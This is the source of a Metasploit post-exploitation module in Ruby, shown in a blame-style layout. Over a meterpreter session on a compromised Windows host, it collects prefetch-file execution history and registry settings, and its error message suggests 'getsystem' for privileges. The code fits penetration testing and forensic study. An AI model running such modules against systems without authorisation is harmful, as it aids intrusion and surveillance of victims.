2013-07-14 12:30:54 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-07-14 12:30:54 +00:00
|
|
|
##
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-07-14 12:30:54 +00:00
|
|
|
require 'rex'
|
2013-11-17 20:10:55 +00:00
|
|
|
require 'msf/core'
|
2013-07-16 09:45:03 +00:00
|
|
|
|
2013-11-17 20:10:55 +00:00
|
|
|
class Metasploit3 < Msf::Post
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Windows::Registry
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Gather Prefetch File Information',
|
|
|
|
'Description' => %q{
|
2013-11-17 20:10:55 +00:00
|
|
|
This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems
|
|
|
|
and current values of related registry keys. From each prefetch file we'll collect
|
|
|
|
filetime (converted to utc) of the last execution, file path hash, run count, filename
|
|
|
|
and the execution path.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2013-11-17 20:10:55 +00:00
|
|
|
'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],
|
2013-08-30 21:28:54 +00:00
|
|
|
'Platform' => ['win'],
|
|
|
|
'SessionType' => ['meterpreter']
|
|
|
|
))
|
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def print_prefetch_key_value()
|
|
|
|
# Checks if Prefetch registry key exists and what value it has.
|
|
|
|
prefetch_key_value = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters", "EnablePrefetcher")
|
|
|
|
if prefetch_key_value == 0
|
|
|
|
print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).")
|
|
|
|
elsif prefetch_key_value == 1
|
|
|
|
print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).")
|
|
|
|
elsif prefetch_key_value == 2
|
|
|
|
print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).")
|
|
|
|
elsif prefetch_key_value == 3
|
|
|
|
print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).")
|
|
|
|
else
|
|
|
|
print_error("No value or unknown value. Results might vary.")
|
|
|
|
end
|
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def print_timezone_key_values(key_value)
|
2013-11-17 20:10:55 +00:00
|
|
|
# Looks for timezone information from registry.
|
2013-08-30 21:28:54 +00:00
|
|
|
timezone = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", key_value)
|
|
|
|
tz_bias = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "Bias")
|
|
|
|
if timezone.nil? or tz_bias.nil?
|
|
|
|
print_line("Couldn't find key/value for timezone from registry.")
|
|
|
|
else
|
|
|
|
print_good("Remote: Timezone is %s." % timezone)
|
|
|
|
if tz_bias < 0xfff
|
|
|
|
print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias)
|
|
|
|
else
|
|
|
|
offset = 0xffffffff
|
|
|
|
bias = offset - tz_bias
|
|
|
|
print_good("Remote: Localtime bias to UTC: +%s minutes." % bias)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-11-17 20:10:55 +00:00
|
|
|
def gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)
|
|
|
|
# Collects the desired information from each prefetch file found
|
|
|
|
# from the system.
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
prefetch_file = read_file(filename)
|
2013-12-16 19:33:07 +00:00
|
|
|
if prefetch_file.blank?
|
2013-08-30 21:28:54 +00:00
|
|
|
print_error("Couldn't read file: #{filename}")
|
|
|
|
return nil
|
|
|
|
else
|
2013-11-17 20:10:55 +00:00
|
|
|
# First we extract the saved filename
|
2013-12-16 19:33:07 +00:00
|
|
|
pf_filename = prefetch_file[name_offset, 60]
|
2013-08-30 21:28:54 +00:00
|
|
|
idx = pf_filename.index("\x00\x00")
|
|
|
|
name = Rex::Text.to_ascii(pf_filename.slice(0..idx))
|
2013-11-17 20:10:55 +00:00
|
|
|
|
|
|
|
# Then we get the runcount
|
2013-12-16 19:33:07 +00:00
|
|
|
run_count = prefetch_file[runcount_offset, 4].unpack('v')[0]
|
2013-11-17 20:10:55 +00:00
|
|
|
|
|
|
|
# Then the filepath hash
|
2013-12-16 19:33:07 +00:00
|
|
|
path_hash = prefetch_file[hash_offset, 4].unpack('h*')[0].upcase.reverse
|
2013-11-17 20:10:55 +00:00
|
|
|
|
|
|
|
# Last we get the latest execution time
|
2013-12-16 19:33:07 +00:00
|
|
|
filetime_a = prefetch_file[filetime_offset, 16].unpack('q*')
|
2013-11-17 20:10:55 +00:00
|
|
|
filetime = filetime_a[0] + filetime_a[1]
|
|
|
|
last_exec = Time.at((filetime - 116444736000000000) / 10000000).utc.to_s
|
|
|
|
|
|
|
|
# This is for reading file paths of the executable from
|
|
|
|
# the prefetch file. We'll use this to find out from where the
|
|
|
|
# file was executed.
|
2013-12-08 16:17:22 +00:00
|
|
|
|
2013-11-17 20:10:55 +00:00
|
|
|
# First we'll use specific offsets for finding out the location
|
2013-12-05 06:56:26 +00:00
|
|
|
# and length of the filepath so that we can find it.
|
2013-11-17 20:10:55 +00:00
|
|
|
filepath = []
|
2013-12-16 19:33:07 +00:00
|
|
|
fpath_offset = prefetch_file[0x64, 2].unpack('v').first
|
|
|
|
fpath_length = prefetch_file[0x68, 2].unpack('v').first
|
|
|
|
filepath_data = prefetch_file[fpath_offset, fpath_length]
|
2013-12-05 06:56:26 +00:00
|
|
|
|
|
|
|
# This part will extract the filepath so that we can find and
|
|
|
|
# compare its contents to the filename we found previously. This
|
2013-12-08 16:17:22 +00:00
|
|
|
# allows us to find the filepath (if it can be found inside the
|
|
|
|
# prefetch file) used to execute the program
|
|
|
|
# referenced in the prefetch-file.
|
2013-12-16 19:33:07 +00:00
|
|
|
unless filepath_data.blank?
|
|
|
|
fpath_data_array = filepath_data.split("\\\x00D\x00E\x00V\x00I\x00C\x00E")
|
2013-11-17 20:10:55 +00:00
|
|
|
fpath_data_array.each do |path|
|
2013-12-16 19:33:07 +00:00
|
|
|
unless path.blank?
|
|
|
|
fpath_name = path.split("\\").last.gsub(/\0/, '')
|
|
|
|
if fpath_name == name
|
|
|
|
filepath << path
|
2013-12-05 06:56:26 +00:00
|
|
|
end
|
2013-11-17 20:10:55 +00:00
|
|
|
end
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
2013-12-16 19:33:07 +00:00
|
|
|
if filepath.blank?
|
|
|
|
filepath << "*** Filepath not found ***"
|
|
|
|
end
|
|
|
|
|
|
|
|
return [last_exec, path_hash, run_count, name, filepath[0]]
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
print_status("Prefetch Gathering started.")
|
2013-11-17 20:10:55 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Check to see what Windows Version is running.
|
|
|
|
# Needed for offsets.
|
|
|
|
# Tested on WinXP, Win2k3 and Win7 systems.
|
|
|
|
# http://www.forensicswiki.org/wiki/Prefetch
|
|
|
|
# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format
|
2013-07-14 14:24:27 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sysnfo = client.sys.config.sysinfo['OS']
|
|
|
|
error_msg = "You don't have enough privileges. Try getsystem."
|
2013-07-14 14:24:27 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if sysnfo =~/(Windows XP|2003|.NET)/
|
2013-11-17 20:10:55 +00:00
|
|
|
|
|
|
|
if not is_admin?
|
2013-08-30 21:28:54 +00:00
|
|
|
print_error(error_msg)
|
|
|
|
return nil
|
|
|
|
end
|
2013-11-17 20:10:55 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Offsets for WinXP & Win2k3
|
|
|
|
print_good("Detected #{sysnfo} (max 128 entries)")
|
|
|
|
name_offset = 0x10
|
|
|
|
hash_offset = 0x4C
|
|
|
|
runcount_offset = 0x90
|
2013-11-17 20:10:55 +00:00
|
|
|
filetime_offset = 0x78
|
2013-08-30 21:28:54 +00:00
|
|
|
# Registry key for timezone
|
|
|
|
key_value = "StandardName"
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
elsif sysnfo =~/(Windows 7)/
|
|
|
|
if not is_admin?
|
|
|
|
print_error(error_msg)
|
|
|
|
return nil
|
|
|
|
end
|
2013-11-17 20:10:55 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Offsets for Win7
|
|
|
|
print_good("Detected #{sysnfo} (max 128 entries)")
|
|
|
|
name_offset = 0x10
|
|
|
|
hash_offset = 0x4C
|
|
|
|
runcount_offset = 0x98
|
2013-11-17 20:10:55 +00:00
|
|
|
filetime_offset = 0x78
|
2013-08-30 21:28:54 +00:00
|
|
|
# Registry key for timezone
|
|
|
|
key_value = "TimeZoneKeyName"
|
|
|
|
else
|
|
|
|
print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.")
|
|
|
|
return nil
|
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
table = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "Prefetch Information",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
2013-11-17 20:10:55 +00:00
|
|
|
"Last execution (filetime)",
|
2013-08-30 21:28:54 +00:00
|
|
|
"Run Count",
|
|
|
|
"Hash",
|
2013-11-17 20:10:55 +00:00
|
|
|
"Filename",
|
|
|
|
"Filepath"
|
2013-08-30 21:28:54 +00:00
|
|
|
])
|
2013-11-17 20:10:55 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_prefetch_key_value
|
|
|
|
print_timezone_key_values(key_value)
|
|
|
|
print_good("Current UTC Time: %s" % Time.now.utc)
|
2013-12-19 01:43:59 +00:00
|
|
|
sys_root = session.sys.config.getenv('SYSTEMROOT')
|
2013-08-30 21:28:54 +00:00
|
|
|
full_path = sys_root + "\\Prefetch\\"
|
|
|
|
file_type = "*.pf"
|
|
|
|
print_status("Gathering information from remote system. This will take awhile..")
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Goes through the files in Prefetch directory, creates file paths for the
|
|
|
|
# gather_pf_info function that enumerates all the pf info
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
getfile_prefetch_filenames = client.fs.file.search(full_path, file_type)
|
|
|
|
if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil?
|
|
|
|
print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)")
|
|
|
|
return nil
|
|
|
|
else
|
|
|
|
getfile_prefetch_filenames.each do |file|
|
|
|
|
if file.empty? or file.nil?
|
|
|
|
next
|
|
|
|
else
|
|
|
|
filename = ::File.join(file['path'], file['name'])
|
2013-11-17 20:10:55 +00:00
|
|
|
pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)
|
2013-08-30 21:28:54 +00:00
|
|
|
if not pf_entry.nil?
|
|
|
|
table << pf_entry
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-08-21 18:46:44 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Stores and prints out results
|
|
|
|
results = table.to_s
|
|
|
|
loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information")
|
|
|
|
print_line("\n" + results + "\n")
|
|
|
|
print_status("Finished gathering information from prefetch files.")
|
|
|
|
print_status("Results stored in: #{loot}")
|
|
|
|
end
|
2013-07-14 12:30:54 +00:00
|
|
|
end
|